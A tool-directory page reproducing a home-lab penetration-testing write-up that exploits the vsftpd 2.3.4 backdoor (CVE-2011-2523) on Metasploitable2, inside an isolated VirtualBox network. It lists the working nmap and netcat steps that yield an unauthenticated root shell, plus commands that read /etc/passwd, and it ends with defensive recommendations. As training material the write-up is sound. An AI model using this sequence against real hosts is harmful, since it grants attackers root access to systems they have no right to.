Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
security-home-lab — Hands-on VirtualBox pentest lab: Kali Linux vs Metasploitable2, exploiting CVE-2011-2523 (vsftpd 2.3.4 backdoor) for a root shell, with full recon-to-root writeup. | Kitploit
도구/GitHubGitHub/selimcang/security-home-lab
Defensive ToolsReconnaissanceNetwork MappingVulnerability AnalysisExploitationPost-ExploitationSecurity VirtualizationPenetration TestingLearning & Education
공유
Labs & Practice
GitHubselimcang/security-home-lab

security-home-lab

Hands-on VirtualBox pentest lab: Kali Linux vs Metasploitable2, exploiting CVE-2011-2523 (vsftpd 2.3.4 backdoor) for a root shell, with full recon-to-root writeup.

저장소 보기
2026년 11월 22일아직 검토되지 않음
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

Security Home Lab: Exploiting a Vulnerable Service in an Isolated VirtualBox Network

A hands-on penetration testing exercise performed in a self-built, fully isolated virtual lab. This project walks through the full attack chain — reconnaissance, vulnerability identification, exploitation, and post-exploitation verification — against a deliberately vulnerable Linux target, along with the defensive takeaways a blue team would apply afterward.

Lab Environment

ComponentDetails
HypervisorOracle VirtualBox 7.2
Attacker machineKali Linux (2026.3), 2 GB RAM, 2 vCPUs
Target machineMetasploitable2 (intentionally vulnerable Ubuntu-based VM)
NetworkVirtualBox Host-Only Adapter, isolated from the internet and the host's LAN (192.168.56.0/24)
Attacker IP192.168.56.102
Target IP192.168.56.101

Both VMs were configured on a host-only network so that all traffic stayed fully contained to the lab — no exposure to the internet or any production network.

1. Reconnaissance

Host Discovery

Started with a ping sweep of the lab subnet to confirm which hosts were alive:

ip a
nmap -sn 192.168.56.0/24

This identified the gateway, the DHCP server, the attacker box (.102), and the target (.101).

Nmap host discovery

Service and Version Scanning

Ran a version-detection scan against the target to enumerate open ports and identify running services:

nmap -sV 192.168.56.101

Key findings:

PortServiceVersion
21FTPvsftpd 2.3.4
22SSHOpenSSH 4.7p1
23TelnetLinux telnetd
25SMTPPostfix
80HTTPApache 2.2.8
111RPCrpcbind
139/445SMBSamba
512/513/514rexec/rlogin/rshnetkit
1524bindshell"Metasploitable root shell"
2049NFS—
3306MySQL—
5432PostgreSQL—
5900VNC—
6667IRCUnrealIRCd
8009/8180AJP/TomcatCoyote HTTP

Nmap service scan

The standout finding was vsftpd 2.3.4 on port 21 — a version with a well-documented, publicly known backdoor.

2. Vulnerability Identified

vsftpd 2.3.4 Backdoor — CVE-2011-2523

Between June and July 2011, the official vsftpd 2.3.4 source archive hosted on the project's master site was replaced by an attacker with a maliciously modified version. The backdoored code opens a root shell listener on TCP port 6200 whenever a username containing the substring :) (a smiley face) is sent via the FTP USER command — regardless of what password follows, or whether one is sent at all.

This gives an unauthenticated attacker a direct path to a root shell, making it a critical, trivially-exploitable vulnerability.

3. Exploitation

Exploitation was performed manually using raw netcat connections rather than an automated framework module, to clearly demonstrate the underlying mechanism of the vulnerability:

Step 1 — Trigger the backdoor:

nc 192.168.56.101 21

Wait for the FTP banner (220 (vsFTPd 2.3.4)), then send:

USER backdoored :)

The server responds 331 Please specify the password — this response is irrelevant; the backdoor has already been triggered server-side, opening a listener on port 6200.

Step 2 — Connect to the backdoor shell:

nc 192.168.56.101 6200

This connects directly to a root shell with no authentication required.

Exploit trigger and connect

4. Post-Exploitation Verification

Confirmed full root-level compromise of the target:

whoami        # root
id            # uid=0(root) gid=0(root)
hostname      # metasploitable
uname -a      # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd | head -5

Root shell proof

At this point, the attacker has unrestricted root access to the target system — able to read/write any file, create persistent backdoors, pivot to other hosts, or exfiltrate data.

5. Defensive Recommendations

This section translates the attack into concrete mitigations a defender/blue team would apply:

  • Patch management: Run vsftpd 2.3.5 or later (or the current maintained release). This specific backdoor was removed from the official source within days of discovery in 2011 — the real-world lesson is that unpatched legacy software remains exploitable indefinitely.
  • Verify software integrity: Validate checksums/signatures of downloaded source packages before building from source, to catch supply-chain compromises like this one.
  • Network segmentation: Restrict FTP service exposure to only the hosts that need it; it should never be reachable from an untrusted network.
  • Disable unnecessary services: Metasploitable2 intentionally runs a large number of outdated services (Telnet, rsh, NFS, old Samba, etc.) — in a real environment, any service not actively required should be disabled to reduce attack surface.
  • Intrusion detection: A network IDS/IPS signature for unusual outbound connections or new listening ports (such as 6200) appearing after an FTP session would have flagged this activity.
  • Least privilege: Services should never run as root. The underlying design flaw that made this backdoor so severe was that vsftpd was running with root privileges in the first place.
  • Monitoring and logging: Centralized logging of FTP authentication attempts and unexpected inbound/outbound connections would allow a SOC analyst to detect this pattern (an unusual username string followed by a new listening port) in near real time.

Tools Used

  • VirtualBox 7.2 — virtualization platform, host-only networking
  • Kali Linux — attacker platform
  • Metasploitable2 — intentionally vulnerable target
  • Nmap — host discovery and service/version enumeration
  • Netcat (nc) — manual exploitation and shell interaction
  • Metasploit Framework — used during initial exploitation attempts (module: exploit/unix/ftp/vsftpd_234_backdoor)

Disclaimer

This exercise was performed entirely within an isolated, host-only virtual network against an intentionally vulnerable VM designed for security training (Metasploitable2). No systems outside this lab were accessed or tested. This project is for educational purposes to demonstrate practical penetration testing methodology.

도구 다운로드

관련 도구

  • wazuh

    엔드포인트 및 클라우드 워크로드 전반의 위협 탐지, 로그 분석, 파일 무결성 모니터링, 취약점 평가 및 규정 준수 관리를 위한 오픈소스 XDR 및 SIEM 플랫폼입니다.

  • suricata

    실시간 트래픽 검사, 침입 탐지 및 차단, 프로토콜 분석, 규칙 기반 위협 헌팅을 위한 오픈소스 네트워크 IDS/IPS/NSM 엔진입니다.

  • zeek

    Zeek는 일반적인 IDS와는 매우 다른 강력한 네트워크 분석 프레임워크입니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    745
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    SMS를 가로채고, 메시지를 주입하며, 모바일 기기를 추적하기 위해 악성 GSM 셀을 배포하는 IMSI Catcher 플랫폼

    732
  • 3

    Callisto

    jetp1ane/callisto

    Ghidra를 통해 실행 파일을 디컴파일하고, Semgrep으로 의사 C 코드를 스캔하며, GPT-3.5-Turbo를 사용하여 결과를 검증해 거짓 양성을 줄이는 자동화된 바이너리 취약점 분석 도구입니다.

    610
  • 4

    opencti

    opencti-platform/opencti

    오픈 사이버 위협 인텔리전스 플랫폼

    546
  • 5

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    414
  • 6

    DFRoot

    a2333c/dfroot

    삼성 Galaxy S25 Ultra(SM-S938B)용 Android 루트 도구로, DirtyFrag CVE-2026-43284와 CVE-2026-43499를 연쇄하여 KernelSU를 통해 부팅 시 자동으로 루트 권한을 획득합니다.

    413

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →